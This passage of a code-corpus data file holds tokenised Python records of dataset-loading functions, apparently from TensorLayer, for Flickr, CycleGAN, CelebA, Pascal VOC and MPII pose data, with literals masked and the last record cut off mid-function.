{"signature": "def load_flickr25k_dataset(tag='<STR_LIT>', path=\"<STR_LIT:data>\", n_threads=<NUM_LIT:50>, printable=False):", "body": "path = os.path.join(path, '<STR_LIT>')<EOL>filename = '<STR_LIT>'<EOL>url = '<STR_LIT>'<EOL>if folder_exists(os.path.join(path, \"<STR_LIT>\")) is False:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(path))<EOL>maybe_download_and_extract(filename, path, url, extract=True)<EOL>del_file(os.path.join(path, filename))<EOL><DEDENT>folder_imgs = os.path.join(path, \"<STR_LIT>\")<EOL>path_imgs = load_file_list(path=folder_imgs, regx='<STR_LIT>', printable=False)<EOL>path_imgs.sort(key=natural_keys)<EOL>folder_tags = os.path.join(path, \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>path_tags = load_file_list(path=folder_tags, regx='<STR_LIT>', printable=False)<EOL>path_tags.sort(key=natural_keys)<EOL>if tag is None:<EOL><INDENT>logging.info(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(tag))<EOL><DEDENT>images_list = []<EOL>for idx, _v in enumerate(path_tags):<EOL><INDENT>tags = read_file(os.path.join(folder_tags, path_tags[idx])).split('<STR_LIT:\\n>')<EOL>if tag is None or tag in tags:<EOL><INDENT>images_list.append(path_imgs[idx])<EOL><DEDENT><DEDENT>images = visualize.read_images(images_list, folder_imgs, n_threads=n_threads, printable=printable)<EOL>return images<EOL>", "docstring": "Load Flickr25K dataset.\n\n    Returns a list of images by a given tag from Flick25k dataset,\n    it will download Flickr25k from `the official website <http://press.liacs.nl/mirflickr/mirdownload.html>`__\n    at the first time you use it.\n\n    Parameters\n    ------------\n    tag : str or None\n        What images to return.\n            - If you want to get images with tag, use string like 'dog', 'red', see `Flickr Search <https://www.flickr.com/search/>`__.\n            - If you want to get all images, set to ``None``.\n\n    path : str\n        The path that the data is downloaded to, defaults is ``data/flickr25k/``.\n    n_threads : int\n        The number of thread to read image.\n    printable : boolean\n        Whether to print infomation when reading images, default is ``False``.\n\n    Examples\n    -----------\n    Get images with tag of sky\n\n    >>> images = tl.files.load_flickr25k_dataset(tag='sky')\n\n    Get all images\n\n    >>> images = tl.files.load_flickr25k_dataset(tag=None, n_threads=100, printable=True)", "id": "f11137:m10"}
{"signature": "def load_flickr1M_dataset(tag='<STR_LIT>', size=<NUM_LIT:10>, path=\"<STR_LIT:data>\", n_threads=<NUM_LIT:50>, printable=False):", "body": "path = os.path.join(path, '<STR_LIT>')<EOL>logging.info(\"<STR_LIT>\".format(size * <NUM_LIT:10>, size * <NUM_LIT>))<EOL>images_zip = [<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'<EOL>]<EOL>tag_zip = '<STR_LIT>'<EOL>url = '<STR_LIT>'<EOL>for image_zip in images_zip[<NUM_LIT:0>:size]:<EOL><INDENT>image_folder = image_zip.split(\"<STR_LIT:.>\")[<NUM_LIT:0>]<EOL>if folder_exists(os.path.join(path, image_folder)) is False:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(image_folder, path))<EOL>maybe_download_and_extract(image_zip, path, url, extract=True)<EOL>del_file(os.path.join(path, image_zip))<EOL>shutil.move(os.path.join(path, '<STR_LIT>'), os.path.join(path, image_folder))<EOL><DEDENT>else:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(image_folder, path))<EOL><DEDENT><DEDENT>if folder_exists(os.path.join(path, \"<STR_LIT>\")) is False:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(path))<EOL>maybe_download_and_extract(tag_zip, path, url, extract=True)<EOL>del_file(os.path.join(path, tag_zip))<EOL><DEDENT>else:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(path))<EOL><DEDENT>images_list = []<EOL>images_folder_list = []<EOL>for i in range(<NUM_LIT:0>, size):<EOL><INDENT>images_folder_list += load_folder_list(path=os.path.join(path, '<STR_LIT>' % i))<EOL><DEDENT>images_folder_list.sort(key=lambda s: int(s.split('<STR_LIT:/>')[-<NUM_LIT:1>]))  <EOL>for folder in images_folder_list[<NUM_LIT:0>:size * <NUM_LIT:10>]:<EOL><INDENT>tmp = load_file_list(path=folder, regx='<STR_LIT>', printable=False)<EOL>tmp.sort(key=lambda s: int(s.split('<STR_LIT:.>')[-<NUM_LIT:2>]))  <EOL>images_list.extend([os.path.join(folder, x) for x in tmp])<EOL><DEDENT>tag_list = []<EOL>tag_folder_list = load_folder_list(os.path.join(path, \"<STR_LIT>\"))<EOL>tag_folder_list.sort(key=lambda s: int(os.path.basename(s)))<EOL>for folder in tag_folder_list[<NUM_LIT:0>:size * <NUM_LIT:10>]:<EOL><INDENT>tmp = load_file_list(path=folder, regx='<STR_LIT>', printable=False)<EOL>tmp.sort(key=lambda s: int(s.split('<STR_LIT:.>')[-<NUM_LIT:2>]))  <EOL>tmp = [os.path.join(folder, s) for s in tmp]<EOL>tag_list += tmp<EOL><DEDENT>logging.info(\"<STR_LIT>\".format(tag))<EOL>select_images_list = []<EOL>for idx, _val in enumerate(tag_list):<EOL><INDENT>tags = read_file(tag_list[idx]).split('<STR_LIT:\\n>')<EOL>if tag in tags:<EOL><INDENT>select_images_list.append(images_list[idx])<EOL><DEDENT><DEDENT>logging.info(\"<STR_LIT>\".format(tag))<EOL>images = visualize.read_images(select_images_list, '<STR_LIT>', n_threads=n_threads, printable=printable)<EOL>return images<EOL>", "docstring": "Load Flick1M dataset.\n\n    Returns a list of images by a given tag from Flickr1M dataset,\n    it will download Flickr1M from `the official website <http://press.liacs.nl/mirflickr/mirdownload.html>`__\n    at the first time you use it.\n\n    Parameters\n    ------------\n    tag : str or None\n        What images to return.\n            - If you want to get images with tag, use string like 'dog', 'red', see `Flickr Search <https://www.flickr.com/search/>`__.\n            - If you want to get all images, set to ``None``.\n\n    size : int\n        integer between 1 to 10. 1 means 100k images ... 5 means 500k images, 10 means all 1 million images. Default is 10.\n    path : str\n        The path that the data is downloaded to, defaults is ``data/flickr25k/``.\n    n_threads : int\n        The number of thread to read image.\n    printable : boolean\n        Whether to print infomation when reading images, default is ``False``.\n\n    Examples\n    ----------\n    Use 200k images\n\n    >>> images = tl.files.load_flickr1M_dataset(tag='zebra', size=2)\n\n    Use 1 Million images\n\n    >>> images = tl.files.load_flickr1M_dataset(tag='zebra')", "id": "f11137:m11"}
{"signature": "def load_cyclegan_dataset(filename='<STR_LIT>', path='<STR_LIT:data>'):", "body": "path = os.path.join(path, '<STR_LIT>')<EOL>url = '<STR_LIT>'<EOL>if folder_exists(os.path.join(path, filename)) is False:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(filename, path))<EOL>maybe_download_and_extract(filename + '<STR_LIT>', path, url, extract=True)<EOL>del_file(os.path.join(path, filename + '<STR_LIT>'))<EOL><DEDENT>def load_image_from_folder(path):<EOL><INDENT>path_imgs = load_file_list(path=path, regx='<STR_LIT>', printable=False)<EOL>return visualize.read_images(path_imgs, path=path, n_threads=<NUM_LIT:10>, printable=False)<EOL><DEDENT>im_train_A = load_image_from_folder(os.path.join(path, filename, \"<STR_LIT>\"))<EOL>im_train_B = load_image_from_folder(os.path.join(path, filename, \"<STR_LIT>\"))<EOL>im_test_A = load_image_from_folder(os.path.join(path, filename, \"<STR_LIT>\"))<EOL>im_test_B = load_image_from_folder(os.path.join(path, filename, \"<STR_LIT>\"))<EOL>def if_2d_to_3d(images):  <EOL><INDENT>for i, _v in enumerate(images):<EOL><INDENT>if len(images[i].shape) == <NUM_LIT:2>:<EOL><INDENT>images[i] = images[i][:, :, np.newaxis]<EOL>images[i] = np.tile(images[i], (<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:3>))<EOL><DEDENT><DEDENT>return images<EOL><DEDENT>im_train_A = if_2d_to_3d(im_train_A)<EOL>im_train_B = if_2d_to_3d(im_train_B)<EOL>im_test_A = if_2d_to_3d(im_test_A)<EOL>im_test_B = if_2d_to_3d(im_test_B)<EOL>return im_train_A, im_train_B, im_test_A, im_test_B<EOL>", "docstring": "Load images from CycleGAN's database, see `this link <https://people.eecs.berkeley.edu/~taesung_park/CycleGAN/datasets/>`__.\n\n    Parameters\n    ------------\n    filename : str\n        The dataset you want, see `this link <https://people.eecs.berkeley.edu/~taesung_park/CycleGAN/datasets/>`__.\n    path : str\n        The path that the data is downloaded to, defaults is `data/cyclegan`\n\n    Examples\n    ---------\n    >>> im_train_A, im_train_B, im_test_A, im_test_B = load_cyclegan_dataset(filename='summer2winter_yosemite')", "id": "f11137:m12"}
{"signature": "def download_file_from_google_drive(ID, destination):", "body": "def save_response_content(response, destination, chunk_size=<NUM_LIT:32> * <NUM_LIT>):<EOL><INDENT>total_size = int(response.headers.get('<STR_LIT>', <NUM_LIT:0>))<EOL>with open(destination, \"<STR_LIT:wb>\") as f:<EOL><INDENT>for chunk in tqdm(response.iter_content(chunk_size), total=total_size, unit='<STR_LIT:B>', unit_scale=True,<EOL>desc=destination):<EOL><INDENT>if chunk:  <EOL><INDENT>f.write(chunk)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>def get_confirm_token(response):<EOL><INDENT>for key, value in response.cookies.items():<EOL><INDENT>if key.startswith('<STR_LIT>'):<EOL><INDENT>return value<EOL><DEDENT><DEDENT>return None<EOL><DEDENT>URL = \"<STR_LIT>\"<EOL>session = requests.Session()<EOL>response = session.get(URL, params={'<STR_LIT:id>': ID}, stream=True)<EOL>token = get_confirm_token(response)<EOL>if token:<EOL><INDENT>params = {'<STR_LIT:id>': ID, '<STR_LIT>': token}<EOL>response = session.get(URL, params=params, stream=True)<EOL><DEDENT>save_response_content(response, destination)<EOL>", "docstring": "Download file from Google Drive.\n\n    See ``tl.files.load_celebA_dataset`` for example.\n\n    Parameters\n    --------------\n    ID : str\n        The driver ID.\n    destination : str\n        The destination for save file.", "id": "f11137:m13"}
{"signature": "def load_celebA_dataset(path='<STR_LIT:data>'):", "body": "data_dir = '<STR_LIT>'<EOL>filename, drive_id = \"<STR_LIT>\", \"<STR_LIT>\"<EOL>save_path = os.path.join(path, filename)<EOL>image_path = os.path.join(path, data_dir)<EOL>if os.path.exists(image_path):<EOL><INDENT>logging.info('<STR_LIT>'.format(save_path))<EOL><DEDENT>else:<EOL><INDENT>exists_or_mkdir(path)<EOL>download_file_from_google_drive(drive_id, save_path)<EOL>zip_dir = '<STR_LIT>'<EOL>with zipfile.ZipFile(save_path) as zf:<EOL><INDENT>zip_dir = zf.namelist()[<NUM_LIT:0>]<EOL>zf.extractall(path)<EOL><DEDENT>os.remove(save_path)<EOL>os.rename(os.path.join(path, zip_dir), image_path)<EOL><DEDENT>data_files = load_file_list(path=image_path, regx='<STR_LIT>', printable=False)<EOL>for i, _v in enumerate(data_files):<EOL><INDENT>data_files[i] = os.path.join(image_path, data_files[i])<EOL><DEDENT>return data_files<EOL>", "docstring": "Load CelebA dataset\n\n    Return a list of image path.\n\n    Parameters\n    -----------\n    path : str\n        The path that the data is downloaded to, defaults is ``data/celebA/``.", "id": "f11137:m14"}
{"signature": "def load_voc_dataset(path='<STR_LIT:data>', dataset='<STR_LIT>', contain_classes_in_person=False):", "body": "path = os.path.join(path, '<STR_LIT>')<EOL>def _recursive_parse_xml_to_dict(xml):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if not xml:<EOL><INDENT>return {xml.tag: xml.text}<EOL><DEDENT>result = {}<EOL>for child in xml:<EOL><INDENT>child_result = _recursive_parse_xml_to_dict(child)<EOL>if child.tag != '<STR_LIT:object>':<EOL><INDENT>result[child.tag] = child_result[child.tag]<EOL><DEDENT>else:<EOL><INDENT>if child.tag not in result:<EOL><INDENT>result[child.tag] = []<EOL><DEDENT>result[child.tag].append(child_result[child.tag])<EOL><DEDENT><DEDENT>return {xml.tag: result}<EOL><DEDENT>if dataset == \"<STR_LIT>\":<EOL><INDENT>url = \"<STR_LIT>\"<EOL>tar_filename = \"<STR_LIT>\"<EOL>extracted_filename = \"<STR_LIT>\"  <EOL>logging.info(\"<STR_LIT>\")<EOL><DEDENT>elif dataset == \"<STR_LIT>\":<EOL><INDENT>extracted_filename = \"<STR_LIT>\"  <EOL>logging.info(\"<STR_LIT>\")<EOL>logging.info(<EOL>\"<STR_LIT>\"<EOL>)<EOL>time.sleep(<NUM_LIT:3>)<EOL>if os.path.isdir(os.path.join(path, extracted_filename)) is False:<EOL><INDENT>logging.info(\"<STR_LIT>\")<EOL>logging.info(<EOL>\"<STR_LIT>\"<EOL>)<EOL>logging.info(\"<STR_LIT>\" % path)<EOL>exit()<EOL><DEDENT><DEDENT>elif dataset == \"<STR_LIT>\":<EOL><INDENT>url = \"<STR_LIT>\"<EOL>tar_filename = \"<STR_LIT>\"<EOL>extracted_filename = \"<STR_LIT>\"<EOL>logging.info(\"<STR_LIT>\")<EOL><DEDENT>elif dataset == \"<STR_LIT>\":<EOL><INDENT>url = \"<STR_LIT>\"<EOL>tar_filename = \"<STR_LIT>\"<EOL>extracted_filename = \"<STR_LIT>\"<EOL>logging.info(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if dataset != \"<STR_LIT>\":<EOL><INDENT>_platform = sys.platform<EOL>if folder_exists(os.path.join(path, extracted_filename)) is False:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(extracted_filename, path))<EOL>maybe_download_and_extract(tar_filename, path, url, extract=True)<EOL>del_file(os.path.join(path, tar_filename))<EOL>if dataset == \"<STR_LIT>\":<EOL><INDENT>if _platform == \"<STR_LIT:win32>\":<EOL><INDENT>os.system(\"<STR_LIT>\".format(path, path))<EOL><DEDENT>else:<EOL><INDENT>os.system(\"<STR_LIT>\".format(path, path))<EOL><DEDENT><DEDENT>elif dataset == \"<STR_LIT>\":<EOL><INDENT>if _platform == \"<STR_LIT:win32>\":<EOL><INDENT>os.system(\"<STR_LIT>\".format(path, path))<EOL><DEDENT>else:<EOL><INDENT>os.system(\"<STR_LIT>\".format(path, path))<EOL><DEDENT><DEDENT>elif dataset == \"<STR_LIT>\":<EOL><INDENT>if _platform == \"<STR_LIT:win32>\":<EOL><INDENT>os.system(\"<STR_LIT>\".format(path, path))<EOL><DEDENT>else:<EOL><INDENT>os.system(\"<STR_LIT>\".format(path, path))<EOL><DEDENT><DEDENT>del_folder(os.path.join(path, '<STR_LIT>'))<EOL><DEDENT><DEDENT>classes = [<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:train>\", \"<STR_LIT>\"<EOL>]<EOL>if contain_classes_in_person:<EOL><INDENT>classes_in_person = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>classes_in_person = []<EOL><DEDENT>classes += classes_in_person  <EOL>classes_dict = utils.list_string_to_dict(classes)<EOL>logging.info(\"<STR_LIT>\".format(classes_dict))<EOL>folder_imgs = os.path.join(path, extracted_filename, \"<STR_LIT>\")<EOL>imgs_file_list = load_file_list(path=folder_imgs, regx='<STR_LIT>', printable=False)<EOL>logging.info(\"<STR_LIT>\".format(len(imgs_file_list)))<EOL>imgs_file_list.sort(<EOL>key=lambda s: int(s.replace('<STR_LIT:.>', '<STR_LIT:U+0020>').replace('<STR_LIT:_>', '<STR_LIT>').split('<STR_LIT:U+0020>')[-<NUM_LIT:2>])<EOL>)  <EOL>imgs_file_list = [os.path.join(folder_imgs, s) for s in imgs_file_list]<EOL>if dataset != \"<STR_LIT>\":<EOL><INDENT>folder_semseg = os.path.join(path, extracted_filename, \"<STR_LIT>\")<EOL>imgs_semseg_file_list = load_file_list(path=folder_semseg, regx='<STR_LIT>', printable=False)<EOL>logging.info(\"<STR_LIT>\".format(len(imgs_semseg_file_list)))<EOL>imgs_semseg_file_list.sort(<EOL>key=lambda s: int(s.replace('<STR_LIT:.>', '<STR_LIT:U+0020>').replace('<STR_LIT:_>', '<STR_LIT>').split('<STR_LIT:U+0020>')[-<NUM_LIT:2>])<EOL>)  <EOL>imgs_semseg_file_list = [os.path.join(folder_semseg, s) for s in imgs_semseg_file_list]<EOL>folder_insseg = os.path.join(path, extracted_filename, \"<STR_LIT>\")<EOL>imgs_insseg_file_list = load_file_list(path=folder_insseg, regx='<STR_LIT>', printable=False)<EOL>logging.info(\"<STR_LIT>\".format(len(imgs_semseg_file_list)))<EOL>imgs_insseg_file_list.sort(<EOL>key=lambda s: int(s.replace('<STR_LIT:.>', '<STR_LIT:U+0020>').replace('<STR_LIT:_>', '<STR_LIT>').split('<STR_LIT:U+0020>')[-<NUM_LIT:2>])<EOL>)  <EOL>imgs_insseg_file_list = [os.path.join(folder_insseg, s) for s in imgs_insseg_file_list]<EOL><DEDENT>else:<EOL><INDENT>imgs_semseg_file_list = []<EOL>imgs_insseg_file_list = []<EOL><DEDENT>folder_ann = os.path.join(path, extracted_filename, \"<STR_LIT>\")<EOL>imgs_ann_file_list = load_file_list(path=folder_ann, regx='<STR_LIT>', printable=False)<EOL>logging.info(<EOL>\"<STR_LIT>\".format(len(imgs_ann_file_list))<EOL>)<EOL>imgs_ann_file_list.sort(<EOL>key=lambda s: int(s.replace('<STR_LIT:.>', '<STR_LIT:U+0020>').replace('<STR_LIT:_>', '<STR_LIT>').split('<STR_LIT:U+0020>')[-<NUM_LIT:2>])<EOL>)  <EOL>imgs_ann_file_list = [os.path.join(folder_ann, s) for s in imgs_ann_file_list]<EOL>if dataset == \"<STR_LIT>\":  <EOL><INDENT>imgs_file_list_new = []<EOL>for ann in imgs_ann_file_list:<EOL><INDENT>ann = os.path.split(ann)[-<NUM_LIT:1>].split('<STR_LIT:.>')[<NUM_LIT:0>]<EOL>for im in imgs_file_list:<EOL><INDENT>if ann in im:<EOL><INDENT>imgs_file_list_new.append(im)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>imgs_file_list = imgs_file_list_new<EOL>logging.info(\"<STR_LIT>\" % len(imgs_file_list_new))<EOL><DEDENT>def convert(size, box):<EOL><INDENT>dw = <NUM_LIT:1.> / size[<NUM_LIT:0>]<EOL>dh = <NUM_LIT:1.> / size[<NUM_LIT:1>]<EOL>x = (box[<NUM_LIT:0>] + box[<NUM_LIT:1>]) / <NUM_LIT><EOL>y = (box[<NUM_LIT:2>] + box[<NUM_LIT:3>]) / <NUM_LIT><EOL>w = box[<NUM_LIT:1>] - box[<NUM_LIT:0>]<EOL>h = box[<NUM_LIT:3>] - box[<NUM_LIT:2>]<EOL>x = x * dw<EOL>w = w * dw<EOL>y = y * dh<EOL>h = h * dh<EOL>return x, y, w, h<EOL><DEDENT>def convert_annotation(file_name):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>in_file = open(file_name)<EOL>out_file = \"<STR_LIT>\"<EOL>tree = ET.parse(in_file)<EOL>root = tree.getroot()<EOL>size = root.find('<STR_LIT:size>')<EOL>w = int(size.find('<STR_LIT:width>').text)<EOL>h = int(size.find('<STR_LIT>').text)<EOL>n_objs = <NUM_LIT:0><EOL>for obj in root.iter('<STR_LIT:object>'):<EOL><INDENT>if dataset != \"<STR_LIT>\":<EOL><INDENT>difficult = obj.find('<STR_LIT>').text<EOL>cls = obj.find('<STR_LIT:name>').text<EOL>if cls not in classes or int(difficult) == <NUM_LIT:1>:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>else:<EOL><INDENT>cls = obj.find('<STR_LIT:name>').text<EOL>if cls not in classes:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>cls_id = classes.index(cls)<EOL>xmlbox = obj.find('<STR_LIT>')<EOL>b = (<EOL>float(xmlbox.find('<STR_LIT>').text), float(xmlbox.find('<STR_LIT>').text), float(xmlbox.find('<STR_LIT>').text),<EOL>float(xmlbox.find('<STR_LIT>').text)<EOL>)<EOL>bb = convert((w, h), b)<EOL>out_file += str(cls_id) + \"<STR_LIT:U+0020>\" + \"<STR_LIT:U+0020>\".join([str(a) for a in bb]) + '<STR_LIT:\\n>'<EOL>n_objs += <NUM_LIT:1><EOL>if cls in \"<STR_LIT>\":<EOL><INDENT>for part in obj.iter('<STR_LIT>'):<EOL><INDENT>cls = part.find('<STR_LIT:name>').text<EOL>if cls not in classes_in_person:<EOL><INDENT>continue<EOL><DEDENT>cls_id = classes.index(cls)<EOL>xmlbox = part.find('<STR_LIT>')<EOL>b = (<EOL>float(xmlbox.find('<STR_LIT>').text), float(xmlbox.find('<STR_LIT>').text),<EOL>float(xmlbox.find('<STR_LIT>').text), float(xmlbox.find('<STR_LIT>').text)<EOL>)<EOL>bb = convert((w, h), b)<EOL>out_file += str(cls_id) + \"<STR_LIT:U+0020>\" + \"<STR_LIT:U+0020>\".join([str(a) for a in bb]) + '<STR_LIT:\\n>'<EOL>n_objs += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>in_file.close()<EOL>return n_objs, out_file<EOL><DEDENT>logging.info(\"<STR_LIT>\")<EOL>n_objs_list = []<EOL>objs_info_list = []  <EOL>objs_info_dicts = {}<EOL>for idx, ann_file in enumerate(imgs_ann_file_list):<EOL><INDENT>n_objs, objs_info = convert_annotation(ann_file)<EOL>n_objs_list.append(n_objs)<EOL>objs_info_list.append(objs_info)<EOL>with tf.gfile.GFile(ann_file, '<STR_LIT:r>') as fid:<EOL><INDENT>xml_str = fid.read()<EOL><DEDENT>xml = etree.fromstring(xml_str)<EOL>data = _recursive_parse_xml_to_dict(xml)['<STR_LIT>']<EOL>objs_info_dicts.update({imgs_file_list[idx]: data})<EOL><DEDENT>return imgs_file_list, imgs_semseg_file_list, imgs_insseg_file_list, imgs_ann_file_list, classes, classes_in_person, classes_dict, n_objs_list, objs_info_list, objs_info_dicts<EOL>", "docstring": "Pascal VOC 2007/2012 Dataset.\n\n    It has 20 objects:\n    aeroplane, bicycle, bird, boat, bottle, bus, car, cat, chair, cow, diningtable, dog, horse, motorbike, person, pottedplant, sheep, sofa, train, tvmonitor\n    and additional 3 classes : head, hand, foot for person.\n\n    Parameters\n    -----------\n    path : str\n        The path that the data is downloaded to, defaults is ``data/VOC``.\n    dataset : str\n        The VOC dataset version, `2012`, `2007`, `2007test` or `2012test`. We usually train model on `2007+2012` and test it on `2007test`.\n    contain_classes_in_person : boolean\n        Whether include head, hand and foot annotation, default is False.\n\n    Returns\n    ---------\n    imgs_file_list : list of str\n        Full paths of all images.\n    imgs_semseg_file_list : list of str\n        Full paths of all maps for semantic segmentation. Note that not all images have this map!\n    imgs_insseg_file_list : list of str\n        Full paths of all maps for instance segmentation. Note that not all images have this map!\n    imgs_ann_file_list : list of str\n        Full paths of all annotations for bounding box and object class, all images have this annotations.\n    classes : list of str\n        Classes in order.\n    classes_in_person : list of str\n        Classes in person.\n    classes_dict : dictionary\n        Class label to integer.\n    n_objs_list : list of int\n        Number of objects in all images in ``imgs_file_list`` in order.\n    objs_info_list : list of str\n        Darknet format for the annotation of all images in ``imgs_file_list`` in order. ``[class_id x_centre y_centre width height]`` in ratio format.\n    objs_info_dicts : dictionary\n        The annotation of all images in ``imgs_file_list``, ``{imgs_file_list : dictionary for annotation}``,\n        format from `TensorFlow/Models/object-detection <https://github.com/tensorflow/models/blob/master/object_detection/create_pascal_tf_record.py>`__.\n\n    Examples\n    ----------\n    >>> imgs_file_list, imgs_semseg_file_list, imgs_insseg_file_list, imgs_ann_file_list,\n    >>>     classes, classes_in_person, classes_dict,\n    >>>     n_objs_list, objs_info_list, objs_info_dicts = tl.files.load_voc_dataset(dataset=\"2012\", contain_classes_in_person=False)\n    >>> idx = 26\n    >>> print(classes)\n    ['aeroplane', 'bicycle', 'bird', 'boat', 'bottle', 'bus', 'car', 'cat', 'chair', 'cow', 'diningtable', 'dog', 'horse', 'motorbike', 'person', 'pottedplant', 'sheep', 'sofa', 'train', 'tvmonitor']\n    >>> print(classes_dict)\n    {'sheep': 16, 'horse': 12, 'bicycle': 1, 'bottle': 4, 'cow': 9, 'sofa': 17, 'car': 6, 'dog': 11, 'cat': 7, 'person': 14, 'train': 18, 'diningtable': 10, 'aeroplane': 0, 'bus': 5, 'pottedplant': 15, 'tvmonitor': 19, 'chair': 8, 'bird': 2, 'boat': 3, 'motorbike': 13}\n    >>> print(imgs_file_list[idx])\n    data/VOC/VOC2012/JPEGImages/2007_000423.jpg\n    >>> print(n_objs_list[idx])\n    2\n    >>> print(imgs_ann_file_list[idx])\n    data/VOC/VOC2012/Annotations/2007_000423.xml\n    >>> print(objs_info_list[idx])\n    14 0.173 0.461333333333 0.142 0.496\n    14 0.828 0.542666666667 0.188 0.594666666667\n    >>> ann = tl.prepro.parse_darknet_ann_str_to_list(objs_info_list[idx])\n    >>> print(ann)\n    [[14, 0.173, 0.461333333333, 0.142, 0.496], [14, 0.828, 0.542666666667, 0.188, 0.594666666667]]\n    >>> c, b = tl.prepro.parse_darknet_ann_list_to_cls_box(ann)\n    >>> print(c, b)\n    [14, 14] [[0.173, 0.461333333333, 0.142, 0.496], [0.828, 0.542666666667, 0.188, 0.594666666667]]\n\n    References\n    -------------\n    - `Pascal VOC2012 Website <http://host.robots.ox.ac.uk/pascal/VOC/voc2012/#devkit>`__.\n    - `Pascal VOC2007 Website <http://host.robots.ox.ac.uk/pascal/VOC/voc2007/>`__.", "id": "f11137:m15"}
{"signature": "def load_mpii_pose_dataset(path='<STR_LIT:data>', is_16_pos_only=False):", "body": "path = os.path.join(path, '<STR_LIT>')<EOL>logging.info(\"<STR_LIT>\".format(path))<EOL>url = \"<STR_LIT>\"<EOL>tar_filename = \"<STR_LIT>\"<EOL>extracted_filename = \"<STR_LIT>\"<EOL>if folder_exists(os.path.join(path, extracted_filename)) is False:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(extracted_filename, path))<EOL>maybe_download_and_extract(tar_filename, path, url, extract=True)<EOL>del_file(os.path.join(path, tar_filename))<EOL><DEDENT>url = \"<STR_LIT>\"<EOL>tar_filename = \"<STR_LIT>\"<EOL>extracted_filename2 = \"<STR_LIT>\"<EOL>if folder_exists(os.path.join(path, extracted_filename2)) is False:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(extracted_filename, path))<EOL>maybe_download_and_extract(tar_filename, path, url, extract=True)<EOL>del_file(os.path.join(path, tar_filename))<EOL><DEDENT>logging.info(\"<STR_LIT>\")<EOL>ann_train_list = []<EOL>ann_test_list = []<EOL>img_train_list = []<EOL>img_test_list = []<EOL>def save_joints():<EOL><INDENT>mat = sio.loadmat(os.path.join(path, extracted_filename, \"<STR_LIT>\"))<EOL>for _, (anno, train_flag) in enumerate(  <EOL>zip(mat['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>, <NUM_LIT:0>][<NUM_LIT:0>], mat['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>, <NUM_LIT:0>][<NUM_LIT:0>])):<EOL><INDENT>img_fn = anno['<STR_LIT:image>']['<STR_LIT:name>'][<NUM_LIT:0>, <NUM_LIT:0>][<NUM_LIT:0>]<EOL>train_flag = int(train_flag)<EOL>if train_flag:<EOL><INDENT>img_train_list.append(img_fn)<EOL>ann_train_list.append([])<EOL><DEDENT>else:<EOL><INDENT>img_test_list.append(img_fn)<EOL>ann_test_list.append([])<EOL><DEDENT>head_rect = []<EOL>if '<STR_LIT>' in str(anno['<STR_LIT>'].dtype):<EOL><INDENT>head_rect = zip(<EOL>[x1[<NUM_LIT:0>, <NUM_LIT:0>] for x1 in anno['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]], [y1[<NUM_LIT:0>, <NUM_LIT:0>] for y1 in anno['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]],<EOL>[x2[<NUM_LIT:0>, <NUM_LIT:0>] for x2 in anno['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]], [y2[<NUM_LIT:0>, <NUM_LIT:0>] for y2 in anno['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]]<EOL>)<EOL><DEDENT>else:<EOL><INDENT>head_rect = []  <EOL><DEDENT>if '<STR_LIT>' in str(anno['<STR_LIT>'].dtype):<EOL><INDENT>annopoints = anno['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]<EOL>head_x1s = anno['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]<EOL>head_y1s = anno['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]<EOL>head_x2s = anno['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]<EOL>head_y2s = anno['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]<EOL>for annopoint, head_x1, head_y1, head_x2, head_y2 in zip(annopoints, head_x1s, head_y1s, head_x2s,<EOL>head_y2s):<EOL><INDENT>if annopoint.size:<EOL><INDENT>head_rect = [<EOL>float(head_x1[<NUM_LIT:0>, <NUM_LIT:0>]),<EOL>float(head_y1[<NUM_LIT:0>, <NUM_LIT:0>]),<EOL>float(head_x2[<NUM_LIT:0>, <NUM_LIT:0>]),<EOL>float(head_y2[<NUM_LIT:0>, <NUM_LIT:0>])<EOL>]<EOL>annopoint = annopoint['<STR_LIT>'][<NUM_LIT:0>, <NUM_LIT:0>]<EOL>j_id = [str(j_i[<NUM_LIT:0>, <NUM_LIT:0>]) for j_i in annopoint['<STR_LIT:id>'][<NUM_LIT:0>]]<EOL>x = 